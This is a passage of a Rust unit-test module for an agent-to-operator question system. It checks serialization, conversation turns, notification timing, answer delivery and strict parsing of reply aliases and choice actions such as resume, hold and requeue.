3881 "question_fingerprint": "g", "recovery_interpretation": "r"
3882 });
3883 let back: Question = serde_json::from_value(v).unwrap();
3884 let legacy = back.answer_authority.as_ref().unwrap();
3885 assert_eq!(legacy.question, q.id);
3886 assert_eq!(legacy.instruction, "id: use my text fp\nA title");
3887 let written = serde_json::to_value(&back).unwrap();
3890 assert_eq!(
3891 written["answer_authority"],
3892 serde_json::json!({
3893 "question": q.id, "choice": "SQLite",
3894 "instruction": "id: use my text fp\nA title"
3895 })
3896 );
3897 let again: Question = serde_json::from_value(written).unwrap();
3898 assert_eq!(again.answer_authority, back.answer_authority);
3899 assert!(
3900 serde_json::to_value(&q)
3901 .unwrap()
3902 .get("answer_authority")
3903 .is_none()
3904 );
3905 }
3906
3907 #[test]
3908 fn a_question_written_before_deputies_still_reads() {
3909 let mut q = Question::new(
3910 "task".to_owned(),
3911 "conduct".to_owned(),
3912 "conduct".to_owned(),
3913 "Done?".to_owned(),
3914 String::new(),
3915 Vec::new(),
3916 );
3917 q.schema = 4;
3918 let mut v = serde_json::to_value(&q).unwrap();
3919 v.as_object_mut().unwrap().remove("deputy");
3920 let back: Question = serde_json::from_value(v).unwrap();
3921 assert!(back.deputy.is_none());
3922 }
3923
3924 #[test]
3925 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3926 let mut q = choice_question();
3927 q.say("does the cache need eviction?").unwrap();
3928 assert_eq!(q.thread.len(), 1);
3929 assert_eq!(q.thread[0].who, Who::Operator);
3930 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3931 assert_eq!(q.status, QuestionStatus::Open);
3934 assert!(q.answer.is_none());
3935 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3936 }
3937
3938 #[test]
3939 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3940 let mut answered = choice_question();
3941 answered
3942 .answer(Answer::Choice("SQLite".to_owned()))
3943 .unwrap();
3944 let a = answered.say("still there?").unwrap_err().to_string();
3945 assert!(a.contains("already answered"), "{a}");
3946 let b = answered
3947 .reply("still there?", vec![])
3948 .unwrap_err()
3949 .to_string();
3950 assert!(b.contains("already answered"), "{b}");
3951
3952 let mut abandoned = choice_question();
3953 abandoned.abandon("timed out");
3954 let c = abandoned.say("hello?").unwrap_err().to_string();
3955 assert!(c.contains("abandoned"), "{c}");
3956
3957 let mut open = choice_question();
3958 let d = open.say(" ").unwrap_err().to_string();
3959 assert!(d.contains("empty"), "{d}");
3960 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3961 assert!(e.contains("empty"), "{e}");
3962 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3963 }
3964
3965 #[test]
3966 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3967 let mut q = choice_question();
3968 q.say("SQLite or Redis, but what about disk space?")
3969 .unwrap();
3970 assert!(q.waiting_on_agent());
3971
3972 q.reply(
3973 "SQLite: it is one file, no server to run.",
3974 vec!["SQLite".to_owned()],
3975 )
3976 .unwrap();
3977
3978 assert_eq!(q.choices, ["SQLite"]);
3979 assert!(
3980 !q.waiting_on_agent(),
3981 "the agent spoke, so the owner is the one being waited on now"
3982 );
3983 assert_eq!(q.thread.len(), 2);
3984 assert_eq!(q.thread[1].who, Who::Agent);
3985
3986 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3988 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3989 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3990 }
3991
3992 #[test]
3993 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3994 let mut fresh = choice_question();
3995 assert!(
3996 fresh.should_notify(Timestamp::now()),
3997 "nobody has been notified yet, so the first ask always pages"
3998 );
3999
4000 fresh.say("why not Postgres?").unwrap();
4001 let just_said = fresh.thread[0].at;
4002 assert!(
4003 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
4004 "still on the screen a minute later; no need to page again"
4005 );
4006 assert!(
4007 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
4008 "exactly the window: `>` means this side stays quiet"
4009 );
4010 assert!(
4011 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
4012 "past the window: they may have walked away"
4013 );
4014 }
4015
4016 #[test]
4017 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
4018 let (_dir, s) = store();
4019 let mut q = choice_question();
4020 s.put(&mut q).unwrap();
4021 q.say("why not Postgres?").unwrap();
4022 s.put(&mut q).unwrap();
4023 q.reply("no server to run", vec!["SQLite".to_owned()])
4024 .unwrap();
4025 s.put(&mut q).unwrap();
4026
4027 assert_eq!(
4028 s.count_open(),
4029 1,
4030 "one question that talked twice is still one open question"
4031 );
4032 assert_eq!(s.open_for(&q.run).len(), 1);
4033 }
4034
4035 #[tokio::test]
4036 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
4037 let (dir, s) = store();
4038 let mut q = choice_question();
4039 let id = q.id.clone();
4040 let writer = Questions::at(dir.path().join("questions"));
4041 let handle = tokio::spawn(async move {
4042 tokio::time::sleep(Duration::from_millis(30)).await;
4043 let mut fresh = writer.get(&id).expect("the question was filed first");
4044 fresh.say("why not Postgres?").unwrap();
4045 writer.put(&mut fresh).unwrap();
4046 });
4047
4048 let got = wait_for_owner(
4049 &mut q,
4050 &s,
4051 &quiet(),
4052 Duration::from_secs(5),
4053 Duration::from_millis(10),
4054 )
4055 .await
4056 .unwrap();
4057
4058 handle.await.unwrap();
4059 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
4060 assert_eq!(
4061 q.status,
4062 QuestionStatus::Open,
4063 "talking back is not a decision; the question stays open"
4064 );
4065 assert!(q.answer.is_none());
4066 }
4067
4068 #[test]
4069 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
4070 let mut q = choice_question();
4071 q.say("A").unwrap();
4072 q.delivered_turns = q.thread.len();
4073 q.say("B").unwrap();
4074 q.reply("about A", vec![]).unwrap();
4075 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
4076 q.delivered_turns = q.thread.len();
4077 assert_eq!(q.unread_from_owner(), None);
4078 }
4079
4080 #[test]
4081 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
4082 let (_d, s) = store();
4083 let mut q = choice_question();
4084 s.put(&mut q).unwrap();
4085 q.say("first").unwrap();
4086 q.say("second").unwrap();
4087 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4088 s.put(&mut q).unwrap();
4089 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
4090 let mut out = Vec::new();
4091 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
4092 let shown = String::from_utf8(out).unwrap();
4093 let (a, b, c) = (
4094 shown.find("first").unwrap(),
4095 shown.find("second").unwrap(),
4096 shown.find("SQLite").unwrap(),
4097 );
4098 assert!(a < b && b < c, "{shown}");
4099 assert_eq!(q.delivered_turns, q.thread.len());
4100 assert!(q.answer_delivered);
4101 }
4102
4103 #[test]
4104 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
4105 let mut q = choice_question();
4106 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4107 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
4108 let mut q = choice_question();
4109 q.say("old").unwrap();
4110 q.delivered_turns = q.thread.len();
4111 q.say("new").unwrap();
4112 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4113 let shown = answer_for_agent(&q, "SQLite");
4114 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
4115 }
4116
4117 #[test]
4118 fn reply_guidance_distinguishes_resume_actions_and_display_annotations() {
4119 let mut q = choice_question();
4120 q.choices = vec!["daemon: resume".into(), "daemon: hold".into()];
4121 q.actions.insert(
4122 q.choices[0].clone(),
4123 ChoiceAction::ResumeRun {
4124 run: "run-a".into(),
4125 },
4126 );
4127 q.actions.insert(q.choices[1].clone(), ChoiceAction::Hold);
4128 assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
4129 assert!(q.reply_guidance().contains("accepted aliases: keep-held"));
4130 assert!(
4131 q.resolve_reply("resume-run")
4132 .unwrap_err()
4133 .to_string()
4134 .contains("with offered choices")
4135 );
4136 assert_eq!(q.resolve_reply("daemon: resume").unwrap(), "daemon: resume");
4137 assert!(
4138 q.resolve_reply("daemon: resume [resume run run-a]")
4139 .is_err()
4140 );
4141 q.actions.insert(
4142 q.choices[0].clone(),
4143 ChoiceAction::Resume {
4144 run: "run-a".into(),
4145 },
4146 );
4147 assert!(q.reply_guidance().contains("accepted aliases: resume-run"));
4148 q.choices.push("another resume".into());
4149 q.actions.insert(
4150 "another resume".into(),
4151 ChoiceAction::Resume {
4152 run: "run-b".into(),
4153 },
4154 );
4155 assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
4156 }
4157
4158 #[test]
4159 fn recovery_aliases_require_a_unique_offered_structured_effect() {
4160 let mut q = choice_question();
4161 q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
4162 for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
4163 q.actions
4164 .insert(label.into(), ChoiceAction::Resume { run: run.into() });
4165 }
4166 assert!(
4167 q.resolve_reply("再開")
4168 .unwrap_err()
4169 .to_string()
4170 .contains("ambiguous")
4171 );
4172 assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
4173 q.choices.remove(1);
4174 assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
4175 assert!(q.resolve_reply("resume run-b").is_err());
4176 assert!(q.resolve_reply("保留").is_err());
4177 assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
4178 assert!(!ChoiceAction::Done.matches_alias("完了"));
4179 }
4180
4181 #[test]
4182 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
4183 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
4184 let ok = parse_actions(
4185 &[
4186 "resume で続行する=resume".to_owned(),
4187 "wait=done".to_owned(),
4188 ],
4189 &choices,
4190 "run-1",
4191 )
4192 .unwrap();
4193 assert_eq!(
4194 ok["resume で続行する"],
4195 ChoiceAction::Resume {
4196 run: "run-1".into()
4197 }
4198 );
4199 assert_eq!(ok["wait"], ChoiceAction::Done);
4200
4201 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
4202 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
4203 assert_eq!(
4204 ChoiceAction::parse("x=requeue", "").unwrap().1,
4205 ChoiceAction::Requeue
4206 );
4207
4208 assert_eq!(
4209 ChoiceAction::parse("x=hold", "").unwrap().1,
4210 ChoiceAction::Hold
4211 );
4212
4213 for bad in [
4214 "no-equals",
4215 "=done",
4216 "x=resume",
4217 "x=resume:",
4218 "x=explode",
4219 "x=done:1",
4220 ] {
4221 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4222 }
4223 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4224 assert!(
4225 parse_actions(
4226 &["wait=done".to_owned(), "wait=requeue".to_owned()],
4227 &choices,
4228 ""
4229 )
4230 .is_err()
4231 );
4232 }
4233
4234 #[test]
4235 fn only_a_chosen_label_with_an_action_is_actionable() {
4236 let mut q = choice_question();
4237 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4238 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4239 assert!(q.chosen_action().is_none(), "unanswered");
4240 q.answer(Answer::Choice("resume".to_owned())).unwrap();
4241 assert!(
4242 q.chosen_action().is_none(),
4243 "a label that merely reads like an action does nothing"
4244 );
4245
4246 let mut q2 = choice_question();
4247 q2.choices = vec!["SQLite".to_owned()];
4248 q2.actions
4249 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4250 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4251 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4252 }
4253
4254 #[test]
4255 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4256 let mut q = choice_question();
4257 q.choices = vec!["A".to_owned(), "B".to_owned()];
4258 q.actions.insert("A".to_owned(), ChoiceAction::Done);
4259 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4260 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4261 assert_eq!(q.actions.len(), 1);
4262 assert!(q.actions.contains_key("B"));
4263
4264 let mut v = serde_json::to_value(&q).unwrap();
4265 v.as_object_mut().unwrap().remove("actions");
4266 let old: Question = serde_json::from_value(v).unwrap();
4267 assert!(old.actions.is_empty());
4268 }
4269}